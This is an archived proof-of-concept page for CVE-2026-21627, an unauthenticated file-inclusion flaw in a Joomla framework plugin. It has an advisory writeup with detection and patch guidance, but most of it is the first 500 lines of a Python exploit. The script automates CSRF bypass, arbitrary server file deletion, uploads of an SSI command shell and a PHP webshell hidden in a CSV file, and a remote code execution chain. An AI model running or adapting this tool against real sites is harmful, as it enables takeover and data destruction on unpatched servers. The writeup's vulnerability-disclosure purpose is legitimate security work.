PoC Archive PoC Archive
Critical CVE-2026-21627 patched

Joomla Novarain Framework (nrframework) Unauthenticated Arbitrary File Inclusion — CVE-2026-21627

by Yallasec — Arcangelo Saracino (@arkango) · 2026-07-05

CVSS 9.5/10
Severity
Critical
CVE
CVE-2026-21627
Category
web
Affected product
plg_system_nrframework (Tassos/Novarain Framework) Joomla plugin, bundled with Convert Forms, Engage Box, Google Structured Data, and other Tassos.gr extensions
Affected versions
4.10.14 through 6.0.37 (fixed in 6.0.38)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-02
Author / ResearcherYallasec — Arcangelo Saracino (@arkango)
CVE / AdvisoryCVE-2026-21627
Categoryweb
SeverityCritical
CVSS Score9.5 (Critical)
StatusWeaponized
Tagsjoomla, nrframework, file-inclusion, unauthenticated, arbitrary-file-upload, arbitrary-file-delete, php, cms
RelatedN/A

Affected Target

FieldValue
Software / Systemplg_system_nrframework (Tassos/Novarain Framework) Joomla plugin, bundled with Convert Forms, Engage Box, Google Structured Data, and other Tassos.gr extensions
Versions Affected4.10.14 through 6.0.37 (fixed in 6.0.38)
Language / PlatformPython 3.7+ PoC against Joomla 3.x/4.x/5.x (PHP backend)
Authentication RequiredNo
Network Access RequiredYes

Summary

The ajaxTaskInclude() method of the nrframework Joomla plugin is explicitly whitelisted for unauthenticated frontend AJAX access and accepts attacker-controlled path, file, and class parameters. The path parameter uses Joomla’s RAW input filter (no sanitization), and the concatenated path is passed directly into @include_once, giving an unauthenticated attacker arbitrary PHP file inclusion, after which the specified class is instantiated and its onAJAX() method invoked. By including the bundled JFormFieldNRInlineFileUpload gadget class, an attacker can reach its onUpload() and onRemove() methods to achieve arbitrary file upload and arbitrary file delete respectively, with an upload-response path disclosure as a bonus. The included Python tool implements five modes (verify, upload, delete, rce, info) to demonstrate the full impact chain, including uploading a web shell and attempting command execution end to end.


Vulnerability Details

Root Cause

nrframework.php’s ajaxTaskInclude() builds the include path as $path . $file . '.php', where $path is read with Joomla’s RAW filter (zero sanitization/path-traversal protection) and passed unchecked into @include_once; the loaded file’s specified $class is then instantiated and its onAJAX() invoked with further attacker-controlled parameters, exposing dangerous gadget methods (onUpload, onRemove) with insufficient validation.

Attack Vector

  1. Attacker probes the Joomla AJAX endpoint (option=com_ajax&plugin=nrframework&task=include) to trigger lazy session creation and extracts a CSRF token from the homepage.
  2. Attacker calls the endpoint with path/file/class parameters pointing at the bundled JFormFieldNRInlineFileUpload gadget class, causing it to be included and instantiated via @include_once.
  3. Attacker invokes the gadget’s onUpload() action to write an arbitrary file (e.g. a .shtml/text shell) into a web-writable directory such as images/.
  4. Attacker invokes the gadget’s onRemove() action to delete arbitrary server files (e.g. .htaccess), or requests the uploaded shell to execute commands.
  5. Optionally, attacker chains info mode to include arbitrary PHP files for further reconnaissance.

Impact

Unauthenticated remote code execution (via shell upload) and destructive arbitrary file deletion on any Joomla site running an affected nrframework-bundled extension.


Environment / Lab Setup

Target:   Joomla 3.x/4.x/5.x with plg_system_nrframework 4.10.14–6.0.37 (e.g. via Convert Forms/Engage Box)
Attacker: Python 3.7+, pip install requests

Proof of Concept

PoC Script

See CVE-2026-21627.py in this folder.

1
2
3
4
python3 CVE-2026-21627.py --target https://example.com --mode verify
python3 CVE-2026-21627.py --target https://example.com --mode upload --shell-type shtml
python3 CVE-2026-21627.py --target https://example.com --mode rce --cmd "id"
python3 CVE-2026-21627.py --target https://example.com --mode delete --file-path /var/www/html/test.txt

The script handles Joomla session/CSRF setup automatically, then drives the ajaxTaskInclude() gadget chain to verify the flaw, upload a shell of the chosen type, execute commands via the uploaded shell, or delete an arbitrary server-side file, depending on the selected mode.


Detection & Indicators of Compromise

grep -E "option=com_ajax.*plugin=nrframework.*task=include" access.log

Signs of compromise:

  • Unexpected .shtml/.txt/.html files appearing in images/ or other writable upload directories
  • Requests to index.php?option=com_ajax&plugin=nrframework&task=include&path=...&file=...&class=... from unauthenticated sessions
  • Missing or corrupted .htaccess/configuration.php following suspicious AJAX activity

Remediation

ActionDetail
Primary fixUpdate plg_system_nrframework to version 6.0.38 or later, which removes ajaxTaskInclude() and replaces it with a strict AjaxHandlerRegistry
Interim mitigationBlock requests matching option=com_ajax.*plugin=nrframework.*task=include.*path= at the WAF, disable the nrframework plugin until patched

References


Notes

Mirrored from https://github.com/yallasec/CVE-2026-21627---Tassos-Novarain-Framework-plg_system_nrframework-Exploit---Joomla on 2026-07-05. The URL supplied in the original source data was truncated/mangled (yallasec/CVE-2026-21627-...-Joomla); the actual repository slug was located via search and cloned successfully.

CVE-2026-21627.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
"""
CVE-2026-21627 - Tassos/Novarain Framework (plg_system_nrframework) Exploit
Affects versions 4.10.14 - 6.0.37 on Joomla CMS

Vulnerability: Unauthenticated Arbitrary PHP File Inclusion via ajaxTaskInclude()
The 'include' task in onAjaxNrframework() allows frontend (non-admin) access.
The 'path' parameter uses RAW input filter (no sanitization), enabling arbitrary
PHP file inclusion. Combined with gadget classes (e.g. nrinlinefileupload),
this enables:
  - Arbitrary file delete (onRemove → unlink without path validation)
  - File upload to user-controlled directory (onUpload → base64-decoded upload_folder)
  - Potential RCE via .shtml SSI injection or PHP polyglot upload

Usage:
  python3 cve_2026_21627.py --target https://example.com --mode verify
  python3 cve_2026_21627.py --target https://example.com --mode upload --shell-type shtml
  python3 cve_2026_21627.py --target https://example.com --mode delete --file-path /var/www/html/test.txt

Author: Yallasec - Arcangelo@Saracino.yallasec.com @arkango - https://yallasec.com 
"""

import argparse
import base64
import json
import re
import sys
import time
import requests
from urllib.parse import urljoin, urlencode, urlparse

# Suppress SSL warnings for self-signed certs
requests.packages.urllib3.disable_warnings()

DELAY = 2.5  # seconds between requests

# --- Color output helpers ---
class C:
    RED = "\033[91m"
    GREEN = "\033[92m"
    YELLOW = "\033[93m"
    BLUE = "\033[94m"
    CYAN = "\033[96m"
    BOLD = "\033[1m"
    RST = "\033[0m"

def info(msg):    print(f"{C.BLUE}[*]{C.RST} {msg}")
def success(msg): print(f"{C.GREEN}[+]{C.RST} {msg}")
def warn(msg):    print(f"{C.YELLOW}[!]{C.RST} {msg}")
def error(msg):   print(f"{C.RED}[-]{C.RST} {msg}")
def banner():
    print(f"""{C.CYAN}{C.BOLD}
  ╔══════════════════════════════════════════════════════╗
  ║  CVE-2026-21627 - nrframework File Include Exploit  ║
  ║  Tassos/Novarain Framework 4.10.14 - 6.0.37        ║
  ╚══════════════════════════════════════════════════════╝{C.RST}
""")


class NRFrameworkExploit:
    """Exploit for CVE-2026-21627 arbitrary file inclusion in nrframework."""

    # Gadget: nrinlinefileupload has onAjax() with file upload and delete
    GADGET_PATH = "plugins/system/nrframework/fields/"
    GADGET_FILE = "nrinlinefileupload"
    GADGET_CLASS = "JFormFieldNRInlineFileUpload"

    def __init__(self, target, sef_prefix="/it/", delay=DELAY, proxy=None, verify_ssl=False):
        self.target = target.rstrip("/")
        self.sef_prefix = sef_prefix
        self.delay = delay
        self.verify_ssl = verify_ssl
        self.session = requests.Session()
        self.session.verify = verify_ssl
        if proxy:
            self.session.proxies = {"http": proxy, "https": proxy}
        self.session.headers.update({
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
        })
        self.csrf_token = None
        self.base_url = None  # will be set after auth

    def _sleep(self):
        """Rate limiting between requests."""
        time.sleep(self.delay)

    def authenticate(self):
        """
        Establish a Joomla session and extract the matching CSRF token.

        Joomla creates session cookies lazily - not on the homepage, but on
        specific requests. We trigger session creation by probing the AJAX
        endpoint, then re-fetch the homepage WITH the session cookie to get
        a CSRF token that matches this session.
        """
        # Build base AJAX URL using Joomla's SEF format
        self.base_url = self.target + self.sef_prefix + "component/ajax/"

        # Step 1: Visit homepage to get load-balancer/ADC cookies
        info("Step 1/3: Fetching initial cookies from homepage...")
        url = self.target + self.sef_prefix
        try:
            self.session.get(url, timeout=30, allow_redirects=True)
        except requests.RequestException as e:
            error(f"Cannot reach target: {e}")
            return False

        self._sleep()

        # Step 2: Probe the AJAX endpoint to trigger Joomla session creation
        info("Step 2/3: Triggering Joomla session creation...")
        try:
            self.session.get(
                self.base_url,
                params={"format": "raw", "plugin": "nrframework"},
                timeout=30,
                allow_redirects=True,
            )
        except requests.RequestException:
            pass  # We just need the Set-Cookie header

        self._sleep()

        # Step 3: Re-visit homepage WITH session cookie to get matching CSRF
        info("Step 3/3: Extracting session-bound CSRF token...")
        try:
            resp = self.session.get(url, timeout=30, allow_redirects=True)
        except requests.RequestException as e:
            error(f"Cannot reach target: {e}")
            return False

        # Extract CSRF token from Joomla's csrf.token JS variable
        m = re.search(r'"csrf\.token"\s*:\s*"([a-f0-9]{32})"', resp.text)
        if not m:
            m = re.search(r'<input[^>]+name="([a-f0-9]{32})"[^>]+value="1"', resp.text)
        if not m:
            error("Could not extract CSRF token from homepage")
            return False

        self.csrf_token = m.group(1)

        # Show session info
        joomla_cookie = None
        for name, value in self.session.cookies.items():
            if len(name) == 32 and all(c in '0123456789abcdef' for c in name):
                joomla_cookie = (name, value)
                break

        if joomla_cookie:
            success(f"Joomla session: {joomla_cookie[0]}={joomla_cookie[1][:16]}...")
        else:
            warn("No Joomla session cookie detected (using ADC cookies only)")

        success(f"CSRF token: {self.csrf_token}")
        return True

    def _build_include_params(self, extra_params=None):
        """
        Build the query parameters for the ajaxTaskInclude() exploit.
        This is the core of CVE-2026-21627.
        """
        params = {
            "format": "raw",
            "plugin": "nrframework",
            "task": "include",
            "path": self.GADGET_PATH,
            "file": self.GADGET_FILE,
            "class": self.GADGET_CLASS,
            self.csrf_token: "1",
        }
        if extra_params:
            params.update(extra_params)
        return params

    def _ajax_request(self, method="GET", params=None, data=None, files=None):
        """
        Send a request to the vulnerable AJAX endpoint.
        Joomla SEF routing may cause 303 redirects with &amp;-encoded Location headers.
        We follow redirects manually, fixing the encoding issue.
        """
        url = self.base_url
        max_redirects = 5

        for attempt in range(max_redirects + 1):
            try:
                if method == "GET":
                    resp = self.session.get(url, params=params, timeout=30, allow_redirects=False)
                else:
                    resp = self.session.post(url, params=params, data=data, files=files, timeout=30, allow_redirects=False)
            except requests.RequestException as e:
                error(f"Request failed: {e}")
                return None

            # Follow redirects manually, fixing &amp; encoding
            if resp.status_code in (301, 302, 303, 307, 308):
                location = resp.headers.get("Location", "")
                if not location:
                    break
                # Fix Joomla's &amp; encoding in redirect URLs
                location = location.replace("&amp;", "&")
                # Make absolute if relative
                if location.startswith("/"):
                    parsed = urlparse(self.target)
                    location = f"{parsed.scheme}://{parsed.netloc}{location}"

                info(f"Following redirect ({resp.status_code}) → {location[:120]}...")
                # For 303, switch to GET and drop body/files
                if resp.status_code == 303:
                    method = "GET"
                    data = None
                    files = None
                url = location
                params = None  # params are now in the redirect URL
                time.sleep(0.5)
                continue

            break

        self._sleep()
        return resp

    # ──────────────────────────────────────────────
    # MODE: verify
    # ──────────────────────────────────────────────
    def verify(self):
        """
        Verify the vulnerability exists by triggering the include chain.
        Expected: the gadget class is loaded and onAjax() executes,
        returning a JSON response instead of FILE_ERROR/CLASS_ERROR/METHOD_ERROR.
        """
        info("Verifying CVE-2026-21627 (arbitrary file inclusion)...")
        params = self._build_include_params()
        resp = self._ajax_request("GET", params=params)

        if resp is None:
            error("No response received")
            return False

        body = resp.text.strip()
        status = resp.status_code

        info(f"HTTP {status} | Response length: {len(body)} | Body: {body[:200]}")

        # Check for error signatures from ajaxTaskInclude
        if body == "FILE_ERROR":
            error("FILE_ERROR - gadget file not found at expected path")
            warn("The plugin may be installed at a different path or version differs")
            return False
        elif body == "CLASS_ERROR":
            error("CLASS_ERROR - file included but class not found")
            return False
        elif body == "METHOD_ERROR":
            error("METHOD_ERROR - class found but onAJAX method missing")
            return False

        # If we get a JSON response or any other response, the chain executed
        if "error" in body.lower() or "response" in body.lower() or "upload" in body.lower():
            success("VULNERABLE! Gadget class instantiated and onAjax() executed")
            success(f"Response: {body[:300]}")
            return True

        # Any non-error response means the include chain worked
        if status == 200 and body not in ("FILE_ERROR", "CLASS_ERROR", "METHOD_ERROR"):
            success("VULNERABLE! File inclusion chain executed successfully")
            success(f"Response: {body[:300]}")
            return True

        warn(f"Unexpected response (HTTP {status}): {body[:200]}")
        return False

    # ──────────────────────────────────────────────
    # MODE: delete (arbitrary file delete)
    # ──────────────────────────────────────────────
    def delete_file(self, file_path):
        """
        Exploit the onRemove() method in JFormFieldNRInlineFileUpload
        to delete an arbitrary file on the server.

        The onRemove() code:
            if (file_exists($file)) { unlink($file); }

        No path validation is performed.
        """
        info(f"Attempting to delete file: {file_path}")
        warn("This is a DESTRUCTIVE operation!")

        params = self._build_include_params({
            "action": "remove",
            "remove_file": file_path,
        })

        resp = self._ajax_request("GET", params=params)
        if resp is None:
            error("No response received")
            return False

        body = resp.text.strip()
        info(f"HTTP {resp.status_code} | Response: {body[:300]}")

        try:
            data = json.loads(body)
            if data.get("error") is False:
                success(f"File deletion succeeded: {file_path}")
                return True
            else:
                warn(f"Server response: {data.get('response', 'unknown')}")
        except json.JSONDecodeError:
            warn(f"Non-JSON response: {body[:200]}")

        return False

    # ──────────────────────────────────────────────
    # MODE: upload (file upload to controlled dir)
    # ──────────────────────────────────────────────
    def upload_file(self, shell_type="shtml", upload_dir="images", custom_content=None):
        """
        Exploit the onUpload() method in JFormFieldNRInlineFileUpload
        to upload a file to a user-controlled directory.

        The upload_folder is base64-decoded from user input.
        Allowed MIME types: text/plain, text/csv
        Allowed extensions (for text/plain): csv, txt, shtml, html, log, etc.

        RCE strategies:
        - shtml: Upload .shtml with SSI <!--#exec cmd="..." --> (requires mod_include)
        - csv:   Upload .csv with PHP polyglot (requires PHP config to parse .csv)
        - txt:   Upload .txt for info disclosure / proof of write
        """
        # Encode the upload directory in base64
        upload_folder_b64 = base64.b64encode(upload_dir.encode()).decode()

        # Check if base64 contains chars stripped by Joomla's CMD filter (+, /, =)
        unsafe_chars = set(upload_folder_b64) & set("+/=")
        if unsafe_chars:
            warn(f"Upload dir '{upload_dir}' encodes to base64 with unsafe chars: {unsafe_chars}")
            warn("Joomla's CMD filter may strip these. Try a simpler directory name.")
            # Strip padding = since base64_decode in PHP handles missing padding
            upload_folder_b64 = upload_folder_b64.rstrip("=")
            remaining_unsafe = set(upload_folder_b64) & set("+/")
            if remaining_unsafe:
                error(f"Cannot encode path without +/: {upload_folder_b64}")
                return None

        info(f"Upload directory: {upload_dir} (base64: {upload_folder_b64})")

        # Prepare the shell content based on type
        if custom_content:
            content = custom_content
            filename = f"test.{shell_type}"
        elif shell_type == "shtml":
            # IMPORTANT: No HTML tags! mime_content_type() detects <html>/<script> as text/html.
            # Pure SSI directives (XML comments) pass as text/plain.
            content = (
                'Server status report\n'
                '<!--#exec cmd="id" -->\n'
                '<!--#exec cmd="uname -a" -->\n'
                '<!--#exec cmd="cat /etc/hostname" -->\n'
            )
            filename = "server-status.shtml"
            info("Shell type: SHTML (Server-Side Includes)")
            info("Requires: Apache mod_include enabled")
        elif shell_type == "csv":
            # PHP polyglot disguised as CSV
            # Starts with valid CSV to fool MIME detection
            content = (
                "name,value,description\n"
                "test,1,data export\n"
                "status,ok,verified\n"
                '<?php if(isset($_GET["c"])){system($_GET["c"]);} ?>\n'
            )
            filename = "export-data.csv"
            info("Shell type: CSV with embedded PHP")
            info("Requires: Apache configured to parse PHP in .csv files (unlikely)")
        elif shell_type == "txt":
            content = (
                "CVE-2026-21627 - Proof of arbitrary file write\n"
                f"Target: {self.target}\n"
                f"Timestamp: {time.strftime('%Y-%m-%d %H:%M:%S UTC', time.gmtime())}\n"
                "This file was uploaded via the nrframework file inclusion vulnerability.\n"
            )
            filename = "pentest-proof.txt"
            info("Shell type: TXT (proof of file write only)")
        elif shell_type == "html":
            # HTML file - useful for stored XSS proof
            content = (
                "<html><head><title>Security Test</title></head><body>\n"
                "<h1>CVE-2026-21627 - Proof of Concept</h1>\n"
                "<p>This file was uploaded via the nrframework vulnerability.</p>\n"
                f"<p>Target: {self.target}</p>\n"
                "<script>document.write('XSS: '+document.domain)</script>\n"
                "</body></html>\n"
            )
            filename = "security-test.html"
            info("Shell type: HTML (stored XSS proof)")
        else:
            error(f"Unknown shell type: {shell_type}")
            return None

        # MIME type for the upload
        mime_map = {
            "shtml": "text/plain",
            "csv": "text/csv",
            "txt": "text/plain",
            "html": "text/plain",
        }
        mime_type = mime_map.get(shell_type, "text/plain")

        info(f"Uploading: {filename} ({len(content)} bytes, MIME: {mime_type})")

        # Build the multipart POST request
        # The AJAX endpoint params go in the query string
        params = self._build_include_params({
            "upload_folder": upload_folder_b64,
        })

        # The file goes as multipart form data
        files = {
            "file": (filename, content.encode(), mime_type)
        }

        resp = self._ajax_request("POST", params=params, files=files)
        if resp is None:
            error("No response received")
            return None

        body = resp.text.strip()
        info(f"HTTP {resp.status_code} | Response: {body[:500]}")

        try:
            data = json.loads(body)
            if data.get("error") is False:
                file_b64 = data.get("file", "")
                file_name_b64 = data.get("file_name", "")
                uploaded_path = base64.b64decode(file_b64).decode() if file_b64 else "unknown"
                uploaded_name = base64.b64decode(file_name_b64).decode() if file_name_b64 else "unknown"

                success(f"FILE UPLOADED SUCCESSFULLY!")
                success(f"Server path: {uploaded_path}")
                success(f"Filename: {uploaded_name}")
                success(f"File size: {data.get('file_size', 'unknown')}")

                # Construct the URL to access the uploaded file
                access_url = f"{self.target}/{upload_dir}/{uploaded_name}"
                success(f"Access URL: {access_url}")

                if shell_type == "shtml":
                    info("Checking if SSI is enabled by accessing the uploaded file...")
                    self._sleep()
                    try:
                        check = self.session.get(access_url, timeout=15)
                        if "uid=" in check.text:
                            success("RCE CONFIRMED via SSI! Command output:")
                            print(f"\n{C.GREEN}{check.text}{C.RST}\n")
                        elif "<!--#exec" in check.text:
                            warn("SSI directives not processed - mod_include likely disabled")
                            info(f"File is accessible at: {access_url}")
                        else:
                            info(f"Response from uploaded file:\n{check.text[:500]}")
                    except requests.RequestException as e:
                        warn(f"Could not access uploaded file: {e}")

                elif shell_type == "html":
                    info(f"Access the stored XSS at: {access_url}")

                return {
                    "path": uploaded_path,
                    "name": uploaded_name,
                    "url": access_url,
                    "size": data.get("file_size"),
                }
            else:
                error(f"Upload failed: {data.get('response', 'unknown error')}")
                if "unsafe" in str(data.get("response", "")).lower():
                    warn("Joomla's isSafeFile() blocked the upload")
                    warn("The file content was flagged as potentially dangerous")
                elif "mime" in str(data.get("response", "")).lower() or "type" in str(data.get("response", "")).lower():
                    warn("MIME type or extension validation failed")
                elif "Invalid" in str(data.get("response", "")):
                    warn("File validation failed - check allowed MIME types")
        except json.JSONDecodeError:
            if body in ("FILE_ERROR", "CLASS_ERROR", "METHOD_ERROR"):
                error(f"Include chain failed: {body}")
            else:
                warn(f"Non-JSON response: {body[:300]}")

        return None

    # ──────────────────────────────────────────────
    # MODE: rce (chained attack for RCE)
    # ──────────────────────────────────────────────
    def rce_chain(self, cmd="id"):
        """
        Attempt full RCE chain:
        1. Upload .shtml shell to images/
        2. If SSI works, execute commands
        3. If not, try .csv polyglot approach
        4. Report results
        """
        info("Starting RCE chain exploit...")
        print()
Showing 500 of 675 lines View full file on GitHub →